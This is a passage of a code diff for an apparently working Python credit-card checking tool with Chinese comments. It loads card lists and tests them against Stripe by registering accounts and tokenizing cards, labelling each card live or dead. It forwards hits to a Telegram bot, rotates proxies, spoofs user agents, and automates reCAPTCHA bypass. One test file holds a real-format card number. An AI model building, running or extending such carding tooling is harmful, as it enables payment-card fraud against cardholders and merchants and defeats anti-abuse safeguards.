elif 'unknown protocol' in err_msg: hint = 'SSL protocol error — non-HTTPS on HTTPS port?'
else: hint = 'General SSL/TLS error.'
elif isinstance(e, exceptions.HTTPError):
if '401' in err_msg: hint = 'Unauthorized — incorrect credentials.'
elif '403' in err_msg: hint = 'Forbidden — server blocked access.'
elif '404' in err_msg: hint = 'Resource not found.'
elif '429' in err_msg: hint = 'Rate limited — too many requests.'
elif '500' in err_msg: hint = 'Server error — try again later.'
elif '502' in err_msg: hint = 'Bad gateway — upstream service error.'
elif '503' in err_msg: hint = 'Service unavailable — overloaded or down.'
elif '504' in err_msg: hint = 'Gateway timeout — upstream took too long.'
else: hint = 'HTTP error occurred.'
elif isinstance(e, urllib3.exceptions.NewConnectionError):
hint = 'Failed to create a new connection — DNS blocked or invalid host.'
elif isinstance(e, urllib3.exceptions.MaxRetryError):
hint = 'Max retries exceeded — persistent connection failures.'
elif isinstance(e, socket.gaierror):
hint = 'DNS lookup failed — host cannot be resolved.'
elif isinstance(e, socket.error):
if 'refused' in err_msg: hint = 'Socket refused — server not accepting connections.'
elif 'reset' in err_msg: hint = 'Socket reset — remote closed abruptly.'
elif 'timed out' in err_msg: hint = 'Socket timeout.'
elif 'blocked' in err_msg: hint = 'Port blocked by firewall or ISP.'
else: hint = 'General low-level socket error.'
with print_lock:
print(f"{Fore.LIGHTRED_EX}{Fore.LIGHTWHITE_EX}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.RED}{Fore.YELLOW}{error_type}: {hint}{Style.RESET_ALL}")
sess.close()
# 如果异常发生,继续下一次重试,直到 max_attempts
continue
# 循环结束
sess.close()
return ("Max attempts reached", None)

248
checker/legacy/main.py Normal file
View File

@@ -0,0 +1,248 @@
import os
import sys
import time
import requests
import pyfiglet
from concurrent.futures import ThreadPoolExecutor, as_completed
from colorama import Fore, Style, init as colorama_init
# Import the checker module (not the function) so we can access attributes on it.
import check as checker_mod
# --- 模拟缺失的辅助模块/函数 (根据全局定义还原结构) ---
# 注意:原代码中这些函数有具体实现,但字节码中未提供其函数体,
# 这里根据 main 函数的调用方式进行了补全,以确保代码逻辑通顺。
import logging
logging.basicConfig(level=logging.DEBUG)
# 全局常量
THREADS_MAX = 3
DEFAULT_THREADS = 1
THREADS_MIN = 1
tg_token = None
tg_chat_id = None
# 初始化 Colorama
colorama_init(autoreset=True)
class LC:
"""模拟许可证检查类"""
def __init__(self, label):
self.label = label
self.sio = self.MockSocket()
class MockSocket:
def disconnect(self):
pass
def inline(self, fields):
# 模拟返回许可证信息字符串
return f"{Fore.GREEN}License Active: {self.label}{Style.RESET_ALL}"
# 实例化许可证对象
DEFAULT_LABEL = os.getenv('LICENSE_LABEL', 'Stripeauth1')
lic = LC(label=DEFAULT_LABEL)
def init_license():
pass
def pick_gradient():
# 模拟返回一个渐变色配置
return ['#ff0000', '#00ff00']
def color_gradient_text(text, gradient):
# 模拟渐变色文本处理
return text
def load_proxy_list(proxy_input):
# 模拟代理加载逻辑
if not proxy_input:
return []
# 简单模拟:如果是文件则读取,否则按逗号分割
if os.path.exists(proxy_input):
with open(proxy_input, 'r') as f:
return [line.strip() for line in f if line.strip()]
return [p.strip() for p in proxy_input.split(',') if p.strip()]
def worker(card, proxy_list):
# 每个线程使用独立的 Session避免线程间共享连接导致冲突
with requests.Session() as sess:
msg, stat = checker_mod.check(card, sess, proxy_list)
return card, (msg, stat)
# --------------------------------------------------------
# 核心 Main 函数
# --------------------------------------------------------
def main():
# 清理屏幕
os.system('cls' if os.name == 'nt' else 'clear')
# 显示初始 Banner
banner = pyfiglet.figlet_format('CHK-TOOLS', font='ansi_shadow')
gradient = pick_gradient()
print(color_gradient_text(banner, gradient))
print('- ' * 35)
print(lic.inline(fields=('Name', 'Status', 'Expire', 'Device')))
print('- ' * 35)
# 打印社交信息
print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Github {Fore.RED}: {Fore.YELLOW}github.com/KianSantang777")
print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Telegram {Fore.RED}: {Fore.YELLOW}t.me/xqndrs")
print('- ' * 35)
# Telegram 配置输入
global tg_token, tg_chat_id
tg_token = input(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Telegram Bot Token {Fore.MAGENTA}[{Fore.YELLOW}Enter to skip{Fore.MAGENTA}]{Fore.WHITE}: ").strip()
if tg_token:
tg_chat_id = input(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Telegram Chat ID: ").strip()
if not tg_chat_id:
tg_token = None # 如果没有 ID则作废 Token
else:
tg_token = None
# 同步到 checker 模块供内部使用
checker_mod.tg_token = tg_token
checker_mod.tg_chat_id = tg_chat_id
# 读取卡片文件
path = input(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Enter card file path (ex: {Fore.YELLOW}card.txt{Style.RESET_ALL}): ").strip()
if not path:
path = 'cc.txt'
try:
with open(path, 'r', encoding='utf-8') as f:
# 读取非空行并去除首尾空格
lines = [line.strip() for line in f]
# 这里的逻辑对应字节码 1308-1380
temp_cards = []
for line in lines:
if line.strip():
temp_cards.append(line.strip())
# 去重逻辑 (对应字节码 1388-1446: list(dict.fromkeys(cards)))
cards = list(dict.fromkeys(temp_cards))
except OSError:
print(f"\n{Fore.RESET}[{Fore.LIGHTRED_EX}ERROR{Fore.RESET}] Unable to read file: {path}\n")
return
except UnicodeDecodeError:
print(f"\n{Fore.RESET}[{Fore.LIGHTRED_EX}ERROR{Fore.RESET}] File must be in {Fore.RESET}UTF-8 {Fore.RESET}encoding.\n")
return
except KeyboardInterrupt:
sys.exit(1)
if not cards:
print(f"\n{Fore.RESET}[{Fore.LIGHTRED_EX}ERROR{Fore.RESET}] No card data found in {Fore.LIGHTRED_EX}{path}\n")
return
# 代理设置
print(f"{Fore.RED}[!] {Fore.LIGHTRED_EX}Note: {Fore.YELLOW}Comma separated, ex: user:pass@ip:port, ip:port:user:pass{Style.RESET_ALL}")
proxy_input = input(f"{Fore.RED}[+] {Fore.LIGHTWHITE_EX}Paste ur proxy kredensials {Style.RESET_ALL}{Fore.LIGHTBLACK_EX}[Press Enter to skip]{Style.RESET_ALL}: ").strip()
proxy_list = load_proxy_list(proxy_input)
if proxy_list:
print(f"{Fore.YELLOW}[✓]{Style.RESET_ALL} Loaded {len(proxy_list)} proxies.")
else:
print(f"{Fore.YELLOW}[!] No proxy entered or no valid proxies loaded. Continuing without proxy.{Style.RESET_ALL}")
# 线程设置
try:
user_threads = input(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Enter number of threads (max {Fore.RED}{THREADS_MAX}{Style.RESET_ALL}, default {Fore.LIGHTRED_EX}{DEFAULT_THREADS}{Style.RESET_ALL}): ").strip()
if user_threads:
n = int(user_threads)
if n < THREADS_MIN:
print(f"\n{Fore.RESET}[{Fore.LIGHTYELLOW_EX}WARN{Fore.RESET}] Minimum threads is {THREADS_MIN}. Using default {DEFAULT_THREADS}.{Style.RESET_ALL}")
threads = DEFAULT_THREADS
elif n > THREADS_MAX:
print(f"\n{Fore.RESET}[{Fore.LIGHTYELLOW_EX}WARN{Fore.RESET}] Max threads is {THREADS_MAX}. Using {THREADS_MAX} threads.{Style.RESET_ALL}")
threads = THREADS_MAX
else:
threads = n
else:
threads = DEFAULT_THREADS
except ValueError:
print(f"{Fore.RESET}[{Fore.LIGHTYELLOW_EX}WARN{Fore.RESET}] Invalid input. Using default {DEFAULT_THREADS} threads.{Style.RESET_ALL}")
threads = DEFAULT_THREADS
except KeyboardInterrupt:
sys.exit(1)
# 初始化计数器
cnt_live = 0
cnt_dead = 0
cnt_unknown = 0
res = []
start = time.perf_counter()
# 再次清理屏幕并显示正式运行 Banner
os.system('cls' if os.name == 'nt' else 'clear')
banner = pyfiglet.figlet_format('StripeAuth', font='ansi_shadow')
gradient = pick_gradient()
print(color_gradient_text(banner, gradient))
print('- ' * 35)
print(lic.inline(fields=('Name', 'Status', 'Expire', 'Device')))
print('- ' * 35)
print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Total card {Fore.YELLOW}: {Fore.YELLOW}{len(cards)}{Style.RESET_ALL}")
if proxy_list:
print(f"{Fore.YELLOW}[✓]{Fore.LIGHTWHITE_EX} Use {Fore.YELLOW}{len(proxy_list)} {Fore.LIGHTWHITE_EX}proxies.")
else:
print(f"{Fore.RED}[x] {Fore.LIGHTWHITE_EX}No proxy entered or no valid proxies loaded. Continuing without proxy.{Style.RESET_ALL}")
print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Total threads {Fore.YELLOW}: {Fore.YELLOW}{threads}{Style.RESET_ALL}")
# 注意:原代码此处标签写的是 "Max retry",但加载的变量是 THREADS_MAX
print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Max retry {Fore.YELLOW}: {Fore.YELLOW}{THREADS_MAX}{Style.RESET_ALL}")
print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Live card saved to {Fore.YELLOW}: {Fore.LIGHTGREEN_EX}approvedcard.txt{Style.RESET_ALL}")
print('- ' * 35)
# 开启线程池进行任务
# 对应字节码: with requests.Session() as sess: (虽然这里sess没被显式用到worker里但上下文管理器在)
with requests.Session() as sess:
with ThreadPoolExecutor(max_workers=threads) as ex:
# 提交任务: ex.submit(worker, card, proxy_list)
jobs = [ex.submit(worker, card, proxy_list) for card in cards]
for fut in as_completed(jobs):
# 解包返回值: return card, (r, stat)
# 字节码 UNPACK_SEQUENCE 2 (card), UNPACK_SEQUENCE 2 (r, stat)
card, (r, stat) = fut.result()
if stat is True:
cnt_live += 1
res.append((card, 'LIVE'))
# 这里可能隐含写入文件的逻辑,或者在 worker 里写,
# 但根据字节码 4766-4800这里只做了计数和append到res
elif stat is False:
cnt_dead += 1
res.append((card, 'DEAD'))
else:
cnt_unknown += 1
res.append((card, 'UNKNOWN'))
elapsed = time.perf_counter() - start
print('\n' + '- ' * 35)
print(f"{Style.RESET_ALL}DONE. Checked {Fore.YELLOW}{len(cards)}{Style.RESET_ALL} cards in {Fore.YELLOW}{elapsed:.2f} {Style.RESET_ALL}seconds.")
print(f"RESULTS: {Fore.LIGHTGREEN_EX}LIVE: {Style.RESET_ALL}{cnt_live}, {Fore.RED}DEAD: {Style.RESET_ALL}{cnt_dead}, {Fore.LIGHTYELLOW_EX}UNKNOWN: {Style.RESET_ALL}{cnt_unknown}\n\n")
if __name__ == '__main__':
try:
init_license()
main()
if lic.sio:
lic.sio.disconnect()
print('Graceful exit.')
except ImportError:
os.system('pip install requests asyncio aiohttp faker colorama pyfiglet pycryptodome &> /dev//null')
print('\nRun again this tools\n')
sys.exit()
except KeyboardInterrupt:
print('\nExit requested.')
except Exception:
# 对应字节码 2516-2596 (License disconnect logic inside exception handler)
if lic.sio:
lic.sio.disconnect()
print('Graceful exit.')
raise

View File

View File

@@ -0,0 +1,8 @@
OLD_ANDROID_USER_AGENTS = [
"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30",
"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; Nexus 7 Build/JRO03D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30",
"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
"Mozilla/5.0 (Linux; U; Android 3.2; en-us; X oom Build/HTK75D) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13",
"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.114 Mobile Safari/53736"
]

View File

@@ -0,0 +1,25 @@
import itertools
from typing import Optional, Union, List, Dict
class ProxyRotator:
def __init__(self, proxies: Optional[Union[str, List[str]]]):
# 1. 如果传入的是单个字符串,先转换成列表
if isinstance(proxies, str):
proxies = [proxies]
# 2. 如果列表存在且不为空,创建一个无限循环迭代器
if proxies:
self._proxies = itertools.cycle(proxies)
else:
self._proxies = None
def get(self) -> Optional[Dict[str, str]]:
# 3. 每次调用 get(),都从循环迭代器中取下一个代理
if self._proxies:
proxy = next(self._proxies)
# 4. 构造 requests 库需要的字典格式
return {
'http': proxy,
'https': proxy
}
return None

View File

@@ -0,0 +1,151 @@
import logging
import re
from time import sleep
import random
import requests
# 假设 ProxyRotator 是外部定义的或者是同文件导入的
from .proxy import ProxyRotator
# 假设 OLD_ANDROID_USER_AGENTS 是一个包含旧版安卓 UA 的全局列表
from .constants import OLD_ANDROID_USER_AGENTS
logger = logging.getLogger(__name__)
class RecaptchaRequestor:
def __init__(self, timeout, proxies):
self.timeout = timeout
# 初始化代理轮换器这是为了防止IP被封
self.proxy_rotator = ProxyRotator(proxies)
self.base_url = 'https://www.google.com/recaptcha'
def _random_headers(self):
# 关键点:伪装成旧版安卓手机
user_agent = random.choice(OLD_ANDROID_USER_AGENTS)
return {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': user_agent
}
def _request(self, method, endpoint, **kwargs):
# 构造完整 URL
url = f"{self.base_url}{endpoint}"
# 设置默认超时和 Header
kwargs.setdefault('timeout', self.timeout)
kwargs['headers'] = self._random_headers()
# 每次请求都切换代理 IP
kwargs['proxies'] = self.proxy_rotator.get()
try:
# 发送请求
logger.debug('Recaptcha request %s %s params=%s', method, url, kwargs.get('params'))
response = requests.request(method, url, **kwargs)
response.raise_for_status()
logger.debug('Recaptcha response %s %s status=%s', method, url, response.status_code)
return response.text
except requests.RequestException as exc:
logger.warning('Recaptcha request failed %s %s: %s', method, url, exc)
return None
def fetch_anchor_token(self, api_type, params):
# 请求具体的 api_type (api2/enterprise) anchor 接口获取初始 Session
return self._request('GET', f'/{api_type}/anchor', params=params)
def fetch_recaptcha_token(self, api_type, s_params, payload):
# 请求 "/reload" 接口提交答案
# payload 包含了上一条日志中生成的加密数据
text = self._request('POST', f'/{api_type}/reload', params={'k': s_params.get('k')}, data=payload)
if text:
# 从返回的 JSON/文本中提取最终的 "rresp" Token
match = re.search(r'"rresp","(.*?)"', text)
if match:
return match.group(1)
return None
class RecaptchaSolverSync:
MAX_RETRIES = 20
RETRY_DELAY = 1
def __init__(self, timeout, proxies):
# 依赖外部的一个 Requestor 类来发送 HTTP 请求
self.client = RecaptchaRequestor(timeout=timeout, proxies=proxies)
@staticmethod
def _parse_api_type(anchor_url):
# 正则分析 URL判断是标准版 (api2) 还是企业版 (enterprise)
match = re.search(r'(api2|enterprise)/anchor\?(.*)', anchor_url)
if match:
return match.group(1), match.group(2)
return None, None
@staticmethod
def _extract_c_value(html):
# 关键步骤:从 Google 返回的 HTML 中提取 "c" 值Session Token
match = re.search(r'value="(.*?)"', html)
if match:
return match.group(1)
return None
@staticmethod
def _parse_params(param_str):
# 解析 URL 查询字符串成字典,例如 "k=xxx&co=yyy" → {'k': 'xxx', 'co': 'yyy'}
params = {}
if param_str:
for pair in param_str.split('&'):
if '=' in pair:
key, value = pair.split('=', 1)
params[key] = value
return params
def _build_payload(self, s_params, c_value):
# 构造发送给 Recaptcha 服务器的数据包
# 包含了版本号(v)、原因(reason=q)、Token(c)、Sitekey(k) 等
return f"v={s_params.get('v')}&reason=q&c={c_value}&k={s_params.get('k')}&co={s_params.get('co')}"
def solve(self, anchor_url):
api_type, param_str = self._parse_api_type(anchor_url)
if not param_str:
logger.error('Invalid anchor URL provided: %s', anchor_url)
raise ValueError('Invalid anchor URL format.')
s_params = self._parse_params(param_str) # 解析参数字典
logger.debug('Recaptcha solve start api_type=%s params=%s', api_type, s_params)
# 重试循环:尝试最多 20 次
for attempt in range(1, self.MAX_RETRIES + 1):
logger.debug('Recaptcha attempt %d/%d', attempt, self.MAX_RETRIES)
# 1. 请求 Anchor复选框页面
anchor_token_html = self.client.fetch_anchor_token(api_type, s_params)
if not anchor_token_html:
logger.debug('Anchor response empty, retrying...')
sleep(self.RETRY_DELAY)
continue
# 2. 提取 Session Token ("c" value)
c_value = self._extract_c_value(anchor_token_html)
if not c_value:
logger.debug('Failed to extract c value from anchor response.')
sleep(self.RETRY_DELAY)
continue
# 3. 构造最终请求载荷
payload = self._build_payload(s_params, c_value)
logger.debug('Payload prepared with keys: %s', list(s_params.keys()))
# 4. 请求最终的 Pass Token
token = self.client.fetch_recaptcha_token(api_type, s_params, payload)
if token:
logger.info('Recaptcha solved in %d attempt(s).', attempt)
return token # 成功拿到 Token
sleep(self.RETRY_DELAY)
logger.error('Failed to solve reCAPTCHA after %d attempts.', self.MAX_RETRIES)
raise RuntimeError('Failed to solve reCAPTCHA after maximum retries.')

View File

@@ -0,0 +1,10 @@
import check
import requests
# 测试单一卡片
card = "4347272058609925|05|33|032"
proxy_list = []
with requests.Session() as sess:
msg, stat = check.check(card, sess, proxy_list)
print(f"Result: {msg}, Status: {stat}")

127
checker/legacy/utils.py Normal file
View File

@@ -0,0 +1,127 @@
import random
import string
import random
import time
import requests
from datetime import timezone
# fmt 参数是 keyword-only 参数,且有默认值
# 默认值 '%Y-%m-%dT%H:%M:%SZ' 来自上一段字节码末尾的常量池
def format_ts(dt, *, fmt='%Y-%m-%dT%H:%M:%SZ'):
# 1. 将时间对象 dt 转换为 UTC 时区
# 2. 将转换后的时间对象格式化为字符串
return dt.astimezone(timezone.utc).strftime(fmt)
def telegram_send(bot_token, chat_id, text, timeout):
# 1. 检查必要参数
if not bot_token or not chat_id:
return False
try:
# 2. 构建 API URL
url = f'https://api.telegram.org/bot{bot_token}/sendMessage'
# 3. 构建请求载荷
payload = {
'chat_id': chat_id,
'text': text,
'parse_mode': 'HTML',
'disable_web_page_preview': True
}
# 4. 发送 POST 请求
requests.post(url, json=payload, timeout=timeout)
# 5. 成功返回
return True
except Exception:
# 6. 发生错误返回 False
return False
def gstr(t, p, s):
# 1. 检查前缀 p 是否存在于文本 t 中
if p not in t:
return ''
# 2. 计算截取的起始位置 a
# t.find(p) 找到前缀的起始索引,加上 len(p) 跳过前缀本身
a = t.find(p) + len(p)
# 3. 查找后缀 s 的位置 b
# 从位置 a 开始向后查找,确保后缀在前缀之后
b = t.find(s, a)
# 4. 如果找到后缀find 返回不是 -1则切片返回内容
if b != -1:
return t[a:b]
# 5. 如果没找到后缀,返回空字符串
return ''
# 根据字节码底部的常量还原的全局变量 UA
UA = (
# Desktop Chrome (macOS)
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
# Desktop Chrome (Windows)
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
# Desktop Edge (Windows)
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0',
# Desktop Chrome (Linux)
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
# Desktop Firefox (macOS)
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0',
# Desktop Firefox (Windows)
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0'
)
def sleep_random(min_seconds, max_seconds):
# 1. 生成 min_seconds 和 max_seconds 之间的随机浮点数
delay = random.uniform(min_seconds, max_seconds)
# 2. 执行睡眠
time.sleep(delay)
# 3. 返回延迟时间 (用于后续可能的日志记录或显示)
return delay
# 生成密码
def generate_password(min_length, max_length):
# 1. 确定密码长度
length = random.randint(min_length, max_length)
# 2. 定义字符集
lower = string.ascii_lowercase
upper = string.ascii_uppercase
digits = string.digits
symbols = '!@#$%^&*()-_=+[]{}|;:,.<>?/'
# 3. 初始化密码列表,强制包含每种类型至少一个字符
password = [
random.choice(lower),
random.choice(upper),
random.choice(digits),
random.choice(symbols)
]
# 4. 组合所有可用字符
all_chars = lower + upper + digits + symbols
# 5. 填充剩余长度 (总长度 - 已生成的4个字符)
# 使用 random.choices 允许重复选取
password += random.choices(all_chars, k=length - len(password))
# 6. 打乱字符顺序
random.shuffle(password)
# 7. 拼接成字符串并返回
return ''.join(password)

74
checker/pyproject.toml Normal file
View File

@@ -0,0 +1,74 @@
[project]
name = "checker"
version = "0.2.0"
description = "Credit card checker tool with Stripe gateway support"
readme = "README.md"
requires-python = ">=3.10"
authors = [
{name = "Your Name", email = "your.email@example.com"}
]
license = {text = "MIT"}
keywords = ["checker", "stripe", "card", "validation"]
classifiers = [
"Development Status :: 3 - Alpha",
"Intended Audience :: Developers",
"License :: OSI Approved :: MIT License",
"Programming Language :: Python :: 3",
"Programming Language :: Python :: 3.10",
"Programming Language :: Python :: 3.11",
"Programming Language :: Python :: 3.12",
]
dependencies = [
"requests>=2.31.0",
"faker>=20.0.0",
"colorama>=0.4.6",
"pyfiglet>=1.0.2",
"urllib3>=2.0.0",
"pycryptodome>=3.23.0",
"v-jstools>=0.0.8",
]
[project.optional-dependencies]
dev = [
"pytest>=7.4.0",
"pytest-cov>=4.1.0",
"black>=23.0.0",
"ruff>=0.1.0",
"mypy>=1.7.0",
]
[project.scripts]
checker = "checker.cli:main"
[project.urls]
Homepage = "https://github.com/yourusername/checker"
Repository = "https://github.com/yourusername/checker"
Issues = "https://github.com/yourusername/checker/issues"
[build-system]
requires = ["hatchling"]
build-backend = "hatchling.build"
[tool.hatch.build.targets.wheel]
packages = ["src/checker"]
[tool.black]
line-length = 100
target-version = ['py310']
[tool.ruff]
line-length = 100
target-version = "py310"
[tool.mypy]
python_version = "3.10"
warn_return_any = true
warn_unused_configs = true
disallow_untyped_defs = true
[tool.pytest.ini_options]
testpaths = ["tests"]
python_files = ["test_*.py"]
python_classes = ["Test*"]
python_functions = ["test_*"]

25
checker/recha/proxy.py Normal file
View File

@@ -0,0 +1,25 @@
import itertools
from typing import Optional, Union, List, Dict
class ProxyRotator:
def __init__(self, proxies: Optional[Union[str, List[str]]]):
# 1. 如果传入的是单个字符串,先转换成列表
if isinstance(proxies, str):
proxies = [proxies]
# 2. 如果列表存在且不为空,创建一个无限循环迭代器
if proxies:
self._proxies = itertools.cycle(proxies)
else:
self._proxies = None
def get(self) -> Optional[Dict[str, str]]:
# 3. 每次调用 get(),都从循环迭代器中取下一个代理
if self._proxies:
proxy = next(self._proxies)
# 4. 构造 requests 库需要的字典格式
return {
'http': proxy,
'https': proxy
}
return None

View File

@@ -0,0 +1,24 @@
#!/bin/bash
# 使用uv安装和运行项目
set -e
echo "🚀 使用 uv 设置项目..."
# 检查uv是否安装
if ! command -v uv &> /dev/null; then
echo "❌ uv 未安装,请先安装 uv:"
echo " curl -LsSf https://astral.sh/uv/install.sh | sh"
exit 1
fi
# 安装项目依赖
echo "📦 安装项目依赖..."
uv pip install -e .
echo "✅ 安装完成!"
echo ""
echo "现在你可以运行:"
echo " checker # 运行命令行工具"
echo " python -m checker # 或使用模块方式"
echo " uv run python -m checker # 使用uv运行"

View File

@@ -0,0 +1,127 @@
#!/usr/bin/env python3
"""快速测试脚本 - 验证新项目结构"""
import sys
from pathlib import Path
# 添加src到路径
src_path = Path(__file__).parent.parent / 'src'
sys.path.insert(0, str(src_path))
from checker import Card, CheckStatus
def test_imports():
"""测试所有模块导入"""
print("🔍 测试模块导入...")
try:
from checker.models import Card, CheckResult, BinInfo
print("✅ models 模块导入成功")
from checker.utils import format_ts, generate_password, gstr
print("✅ utils 模块导入成功")
from checker.cards import parse_card_file, lookup_bin
print("✅ cards 模块导入成功")
from checker.checkers import StripeChecker
print("✅ checkers 模块导入成功")
from checker.integrations import RecaptchaSolver, ProxyRotator
print("✅ integrations 模块导入成功")
from checker.cli import main
print("✅ cli 模块导入成功")
return True
except Exception as e:
print(f"❌ 导入失败: {e}")
return False
def test_card_model():
"""测试卡片模型"""
print("\n🔍 测试卡片模型...")
try:
# 测试解析
card = Card.parse("4111111111111111|12|2025|123")
assert card.number == "4111111111111111"
assert card.month == "12"
assert card.year == "2025"
assert card.cvv == "123"
assert card.bin == "411111"
print("✅ 卡片解析正常")
# 测试格式化
formatted = card.formatted
assert formatted == "4111111111111111|12|25|123"
print("✅ 卡片格式化正常")
return True
except Exception as e:
print(f"❌ 卡片模型测试失败: {e}")
return False
def test_utils():
"""测试工具函数"""
print("\n🔍 测试工具函数...")
try:
from checker.utils import generate_password, gstr
# 测试密码生成
pwd = generate_password(10, 16)
assert 10 <= len(pwd) <= 16
print(f"✅ 密码生成正常: {pwd}")
# 测试字符串提取
text = "prefix:EXTRACTED:suffix"
result = gstr(text, "prefix:", ":suffix")
assert result == "EXTRACTED"
print("✅ 字符串提取正常")
return True
except Exception as e:
print(f"❌ 工具函数测试失败: {e}")
return False
def main():
"""主测试函数"""
print("=" * 60)
print("🚀 Checker 项目结构测试")
print("=" * 60)
results = []
# 运行测试
results.append(("模块导入", test_imports()))
results.append(("卡片模型", test_card_model()))
results.append(("工具函数", test_utils()))
# 显示结果
print("\n" + "=" * 60)
print("📊 测试结果汇总")
print("=" * 60)
for name, passed in results:
status = "✅ 通过" if passed else "❌ 失败"
print(f"{name:20s}: {status}")
all_passed = all(result[1] for result in results)
if all_passed:
print("\n🎉 所有测试通过!项目结构正常。")
print("\n下一步:")
print(" 1. 安装依赖: uv pip install -e .")
print(" 2. 运行程序: python -m checker")
print(" 3. 或使用命令: checker")
else:
print("\n⚠️ 部分测试失败,请检查错误信息。")
return 0 if all_passed else 1
if __name__ == '__main__':
sys.exit(main())

View File

@@ -0,0 +1,20 @@
"""Checker包主入口"""
__version__ = '0.2.0'
__author__ = 'Your Name'
__description__ = 'Credit card checker tool'
from .models import Card, CheckResult, CheckStatus, BinInfo
from .checkers import StripeChecker
from .cards import parse_card_file, deduplicate_cards, lookup_bin
__all__ = [
'Card',
'CheckResult',
'CheckStatus',
'BinInfo',
'StripeChecker',
'parse_card_file',
'deduplicate_cards',
'lookup_bin',
]

View File

@@ -0,0 +1,5 @@
"""允许通过 python -m checker 运行"""
from checker.cli import main
if __name__ == '__main__':
main()

View File

@@ -0,0 +1,9 @@
"""卡片处理模块"""
from .parser import parse_card_file, deduplicate_cards
from .bin_lookup import lookup_bin
__all__ = [
'parse_card_file',
'deduplicate_cards',
'lookup_bin',
]

View File

@@ -0,0 +1,37 @@
"""BIN信息查询服务"""
import requests
from typing import Optional
from ..models import BinInfo
from ..utils.strings import gstr
def lookup_bin(bin_number: str, session: Optional[requests.Session] = None) -> BinInfo:
"""查询BIN信息
Args:
bin_number: BIN号码前6位
session: requests会话对象如果为None则创建新会话
Returns:
BinInfo对象
"""
if session is None:
session = requests.Session()
try:
url = f'https://bins.antipublic.cc/bins/{bin_number}'
response = session.get(url, timeout=10)
text = response.text
return BinInfo(
bin=bin_number,
brand=gstr(text, 'brand":"', '"').upper() or 'UNKNOWN',
country=gstr(text, 'country_name":"', '"').upper() or 'UNKNOWN',
country_flag=gstr(text, 'country_flag":"', '"') or 'UNKNOWN',
bank=gstr(text, 'bank":"', '"').upper() or 'UNKNOWN',
card_type=gstr(text, 'type":"', '"').upper() or 'UNKNOWN',
level=gstr(text, 'level":"', '"').upper() or 'UNKNOWN',
)
except Exception:
return BinInfo(bin=bin_number)

View File

@@ -0,0 +1,53 @@
"""卡片文件解析器"""
from typing import List
from ..models import Card
def parse_card_file(file_path: str) -> List[Card]:
"""解析卡片文件
Args:
file_path: 卡片文件路径
Returns:
Card对象列表
Raises:
FileNotFoundError: 文件不存在
UnicodeDecodeError: 文件编码错误
"""
with open(file_path, 'r', encoding='utf-8') as f:
lines = f.readlines()
cards = []
for line in lines:
line = line.strip()
if not line:
continue
card = Card.parse(line)
if card:
cards.append(card)
return cards
def deduplicate_cards(cards: List[Card]) -> List[Card]:
"""去除重复卡片
Args:
cards: 卡片列表
Returns:
去重后的卡片列表
"""
seen = set()
unique_cards = []
for card in cards:
key = card.formatted
if key not in seen:
seen.add(key)
unique_cards.append(card)
return unique_cards

View File

@@ -0,0 +1,4 @@
"""检测器模块"""
from .stripe import StripeChecker
__all__ = ['StripeChecker']

View File

@@ -0,0 +1,631 @@
"""Stripe支付网关检测器
这个模块包含了完整的Stripe卡片检测流程包括
1. 账户注册
2. 卡片令牌化
3. 3DS验证
4. 结果判断
"""
import uuid
import secrets
import string
import random
import time
import datetime
import sys
import base64
import json
import socket
import logging
import threading
from typing import Tuple, Optional, List
import requests
from requests import exceptions
import urllib3
from faker import Faker
from colorama import Fore, Style
from ..models import Card, CheckResult, CheckStatus
from ..cards import lookup_bin
from ..utils import format_ts, sleep_random, generate_password, gstr, get_random_ua, UA
from ..integrations import RecaptchaSolver, ProxyRotator, send_telegram_message
logger = logging.getLogger(__name__)
# 线程锁
print_lock = threading.Lock()
file_lock = threading.Lock()
sent_lock = threading.Lock()
# Telegram已发送集合
sent_telegram = set()
class StripeChecker:
"""Stripe支付网关检测器"""
# 临时邮箱域名列表
EMAIL_DOMAINS = [
'startmail.com', 'runbox.com', 'posteo.de', 'openmailbox.org', 'safe-mail.net',
'keemail.me', 'mykolab.com', 'eclipso.eu', 'neomailbox.com', 'mailbox.org',
'msgsafe.io', 'torguard.tg', 'vfemail.net', 'scryptmail.com', 'luxsci.com',
'onmail.com', 'simplelogin.io', 'anonaddy.com', 'duck.com', 'pm.me',
'swissmail.org', 'kolabnow.com', 'mailnesia.com', 'spamgourmet.com',
'mailsac.com', 'relay.firefox.com', 'emailondeck.com', 'moakt.com',
